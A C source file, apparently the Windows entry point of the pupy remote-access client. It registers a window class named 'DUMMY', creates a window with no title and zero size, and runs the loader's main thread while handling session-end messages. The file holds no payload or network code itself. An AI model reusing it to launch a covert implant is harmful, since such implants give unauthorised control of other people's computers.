pupy/client/sources/main_exe.c

#include <windows.h>
#include <winbase.h>
#include <winuser.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "pupy_load.h"

void on_exit_session(void);

static BOOL on_exit_session_called = FALSE;

LRESULT CALLBACK WinProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch (msg) {
	case WM_QUERYENDSESSION:
	case WM_CLOSE:
	case WM_QUIT:
		if (on_exit_session && !on_exit_session_called) {
			on_exit_session_called = TRUE;
			on_exit_session();
		}
		return 1;

	default:
		return DefWindowProc (hwnd, msg, wParam, lParam);
	}

	return 0;
}

int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpszCmdLine, int nCmdShow)
{
    MSG msg;
    BOOL bRet;
    WNDCLASS wc;
	HWND hwndMain;
	HINSTANCE hinst;
	HANDLE hThread;
	DWORD threadId;
	DWORD dwWake;
	WNDCLASSEX wx;
	static const char class_name[] = "DUMMY";

#ifdef DEBUG
	AttachConsole(-1);
#endif

	ZeroMemory(&wx, sizeof(WNDCLASSEX));

	wx.cbSize = sizeof(WNDCLASSEX);
	wx.lpfnWndProc = WinProc;
	wx.hInstance = hInstance;
	wx.lpszClassName = class_name;
	if ( ! RegisterClassEx(&wx) )
		return -1;

	hwndMain = CreateWindowEx(
	     0,
		 class_name,
		 NULL,
		 0, 0, 0, 0, 0,
		 NULL, NULL, NULL, NULL
	);

	hThread = CreateThread(
		NULL,
		0,
		mainThread,
		NULL,
		0,
		&threadId
	);

	for (;;) {
		dwWake = MsgWaitForMultipleObjects(
			1,
			&hThread,
			FALSE,
			INFINITE,
			QS_ALLINPUT
		);

		switch (dwWake) {
		case WAIT_FAILED:
			return -1;

		case WAIT_TIMEOUT:
			continue;

		case WAIT_OBJECT_0:
			break;

		case WAIT_OBJECT_0 + 1:
			while (PeekMessage( &msg, NULL, 0, 0, PM_REMOVE)) {
				TranslateMessage(&msg);
				DispatchMessage(&msg);
			}
			break;
		}
	}

	return 0;
}